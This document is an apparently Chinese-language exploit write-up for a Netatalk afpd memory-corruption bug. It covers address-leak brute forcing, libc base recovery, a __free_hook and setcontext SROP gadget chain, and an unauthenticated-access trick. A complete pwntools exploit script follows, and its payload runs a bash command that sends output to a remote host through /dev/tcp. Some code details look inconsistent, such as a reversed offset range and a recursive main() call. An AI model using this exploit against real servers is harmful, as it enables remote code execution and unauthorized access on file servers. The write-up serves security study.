当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。由此当我们在内存中确定一个可写内存的位置时,其相对于其他模块、地址的偏移也是相对固定的,差也不会差太多。
我们可以这样来爆破,我们从高地址开始逐渐向低地址爆破,然后每一个字节爆破的值从255->0开始,那么我们拿到的地址,几乎可以肯定的说落在地址最高的ELF模块中。同理,从低字节开始往高字节写,从0->255开始,把7f也当作??试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。
由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。代码如下:
该代码泄露出来的地址,落在最高的模块中。并且出于简单考虑,在这个形式中的泄露格式0x00 00 7f ?? ?? ?? ?0 00,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。

'''
dsi_header结构:
    flags: 1 byte
    command: 1 byte
    request_id: 2 bytes
    error_code: 4 bytes
    dsi_data_len: 4 bytes
    reserved: 4 bytes
    dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
    dsi_header = b'\x00' # flags
    dsi_header += command # command
    dsi_header += b'\x01\x00' #request_id
    dsi_header += b'\x00\x00\x00\x00' # error code
    dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
    dsi_header += p32(0) # reserved
    dsi_header += dsi_data # payload or dsi_data
    return dsi_header

'''
dsi_data:
    code: 1 byte
    size: 1 byte
    data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes,  data : bytes):
    dsi_data = code # code :1 byte
    dsi_data += p8(len(data)) # size: 1 byte
    assert len(data)  < 255
    dsi_data += data # data: size bytes
    return dsi_data

def leak_address():
    leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
    flags = p32(0x11223344, endian='big')
    for _ in range(3):
        for i in range(255, -1, -1):
            data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
            dsi_data = create_dsi_data(b'\x01', data)
            dsi_header = create_dsi_header(b'\x04', dsi_data) 

            io = remote(ip, port)
            io.send(dsi_header)
            try:
                res = io.recv()
                if flags in res:
                    leak_addr += i.to_bytes(1, byteorder='little')
                    io.close()
                    break
            except:
                io.close()
    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')

image.png
那么我们既然泄露出了一个可读可写的地址,如果我想写libc中的一些数据怎么办?或者我想写afpd中的一些数据结构怎么办?那么自然需要泄露对应的基地址。
以libc写为例子,我给出的代码泄露出来的地址要么是位于ld-2.27.so中,要么是位于其下方的mmap内存中,我们可以大概的估算一下我们泄露的地址与libc之间的距离,一大步的靠近,然后一路小跑抵达libc基地址。例如我这里算出来的一大步是0x18040000~0x1880000这个区间,我们从直接一大步跨过0x18040000,然后以0x1000一小步一小步的跑向libc。afpd同理,甚至更加简单。

0x01 RCE

好了,现在我们解决了任意地址写的问题,那么我们来考虑如何进行RCE。泄露了libc以及可以任意地址写,那么常规的思路就是劫持函数指针获得控制流。注意下面的讲解一开始你可能有点困惑,但请看到这以小节的最后你再读一遍就会明白了。
由三个gadgets可以完成这个思路。具体的,先看这一段gadgets,setcontext + 53(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。因此,我们可以通过pwntools中的SigreturnFrame方便的控制这段代码对寄存器的赋值,只要我们可以控制rdi。
image.png
为了控制rdi,我们需要另外两个gadgets。一个是__libc_dlopen_mode + 56,一个是fgetpos64+207,分别如图5、图6所示。

image.png
image.png
我们希望这三个gadgets组成这样一条调用链。可以看得到,只要我们可以控制dl_open_hook那么就等于控制了rdi,即dl_open_hook处的内存变成了类似于SROP 的signal frame,最后一个gadgets retn时将会跳转至signal frame的rip位置。(如果你看不明白这里,说明你对SROP不了解,我建议去学习一下再来看这段)

// __libc_dlopen_mode + 56
mov rax, cs:dl_open_hook
call qword ptr [rax]
		↓
// fgetpos64 +207
mov rdi, rax
call qword ptr [rax + 20h]
		↓
// setcontext + 56
mov     rsp, [rdi+0A0h]
mov     rbx, [rdi+80h]
mov     rbp, [rdi+78h]
mov     r12, [rdi+48h]
mov     r13, [rdi+50h]
mov     r14, [rdi+58h]
mov     r15, [rdi+60h]
mov     rcx, [rdi+0A8h]
push    rcx
mov     rsi, [rdi+70h]
mov     rdx, [rdi+88h]
mov     rcx, [rdi+98h]
mov     r8, [rdi+28h]
mov     r9, [rdi+30h]
mov     rdi, [rdi+68h]
xor     eax, eax
retn

那么我如何控制dl_open_hook呢?在libc2.27中,_dl_open_hook地址比__free_hook大约高0x2b00左右(不同版本编译器编译出来的libc2.27可能略有差别,但总体大约再0x2b00左右)。距离这么远,我们可以覆盖到吗?答案是,可以。(在Netatalk的代码分析小节的注3部分,我们讨论了一次性可以最多写入多大的数据)
简言之,我们将commands指针覆盖至__free_hook的地址处,随后根据三条gadgets的调用链,依次往后布局内存,使得我们最终能够控制rdi,进而控制程序流以及几乎所有寄存器,完成RCE。

image.png

0x02 未授权访问

未授权访问的核心是泄露afpd的基地址,然后获取其中的三个关键数据结构preauth_switchpostauth_switchafp_switch,再通过任意地址写将afp_switch变量的值写成postauth_switch,即可进行未授权访问。
image.png

image.png

Exploit for RCE

from pwn import *
import os 
import sys
context(os = 'linux', arch='amd64')
context.terminal = ['tmux', 'sp', '-h']
libc = ELF("./libc-2.27.so")

ip = os.popen('ifconfig ens33 | grep "inet " ').read().split()[1] # ['inet', '192.168.220.130', 'netmask', '255.255.255.0', 'broadcast', '192.168.220.255'][1]
port = 548

'''
dsi_header结构:
    flags: 1 byte
    command: 1 byte
    request_id: 2 bytes
    error_code: 4 bytes
    dsi_data_len: 4 bytes
    reserved: 4 bytes
    dsi_data: dsi_data_len bytes
'''
def create_dsi_header(command : bytes, dsi_data):
    dsi_header = b'\x00' # flags
    dsi_header += command # command
    dsi_header += b'\x01\x00' #request_id
    dsi_header += b'\x00\x00\x00\x00' # error code
    dsi_header += p32(len(dsi_data), endian='big') # Total data length--> sizeof(payload) or sizeof(dsi_data)
    dsi_header += p32(0) # reserved
    dsi_header += dsi_data # payload or dsi_data
    return dsi_header

'''
dsi_data:
    code: 1 byte
    size: 1 byte
    data: size bytes
'''
# dsi_data = code:1byte + size:1byte + data:size bytes
def create_dsi_data(code : bytes,  data : bytes):
    dsi_data = code # code :1 byte
    dsi_data += p8(len(data)) # size: 1 byte
    assert len(data)  < 255
    dsi_data += data # data: size bytes
    return dsi_data


    # 1. 劫持__free_hook指针,需要泄露libc.
    # 利用越界写覆盖command指针,观察是否cransh获得一个可写的地址
def leak_address():
    leak_addr = b"" # 0x00 00 7f ?? ?? ?? 00 00 00
    flags = p32(0x11223344, endian='big')
    for _ in range(3):
        for i in range(255, -1, -1):
            data = p32(0) + p32(0) + flags[::-1] + p32(0) # 覆盖 attn_quantum, datasize, server_quantum, serverID & clientID
            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')
            dsi_data = create_dsi_data(b'\x01', data)
            dsi_header = create_dsi_header(b'\x04', dsi_data) 

            io = remote(ip, port)
            io.send(dsi_header)
            try:
                res = io.recv()
                if flags in res:
                    leak_addr += i.to_bytes(1, byteorder='little')
                    io.close()
                    break
            except:
                io.close()
    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')




def main():
    if '--debug=true' in sys.argv:
        context.log_level = 'debug'
    leak_addr = leak_address()
    print(f"leak_addr = {hex(leak_addr)}") # 
    pause() # 0x7f42650ec000
    input()
    leak_addr = 0x7f79e9200000
    for offset in range(0x18040000, 0x1880000, 0x1000):
        print(f"offset = {hex(offset)}")
        # offset = 0x1854000 # 范围在 [0x1840000, 0x1880000] 上下

        libc_base = leak_addr - offset
        system_addr = libc_base + libc.sym['system']
        __free_hook = libc_base + libc.symbols['__free_hook']
        __libc_dlopen_mode_56 = libc_base + libc.sym['__libc_dlopen_mode'] + 56
        fgetpos64_207 = libc_base + libc.sym['fgetpos64'] + 207
        setcontext_53 = libc_base + libc.sym['setcontext'] + 53
        _dl_open_hook = libc_base + libc.sym['_dl_open_hook']

        # 1. 覆盖commands指针为__free_hook
        io = remote(ip, port)
        data = b'a'*0x10 + p64(__free_hook)
        dsi_data = create_dsi_data(b'\x01', data)
        dsi_header = create_dsi_header(b'\x04', dsi_data)

        io.send(dsi_header)

        # 2.再次发包布局内存
        frame = SigreturnFrame()
        frame.rip = system_addr
        frame.rdi = __free_hook + 8
        frame.rsp = __free_hook
        cmd = f'bash -c "ls  > /dev/tcp/{ip}/{6666}" \x00'.encode()

        # payload = b''.ljust(0x10, b'\x00')
        payload = p64(__libc_dlopen_mode_56)
        payload += cmd.ljust(0x2ca0 - 8, b'\x00')
        payload += p64(_dl_open_hook + 8)
        payload += p64(fgetpos64_207)
        payload += b'a'*0x18
        payload += p64(setcontext_53)
        payload += bytes(frame)[0x28:]

        dsi_header = create_dsi_header(b'\x04', payload)
        io.send(dsi_header)
        io.close() # 隐式调用free,促发call __free_hook


        main() 

image.png

参考

https://gtrboy.github.io/posts/netatalk/#0x04-%E5%88%A9%E7%94%A8
https://xuanxuanblingbling.github.io/ctf/pwn/2021/11/06/netatalk/
https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
https://en.wikipedia.org/wiki/Data_Stream_Interface#cite_note-2
https://xz.aliyun.com/t/3710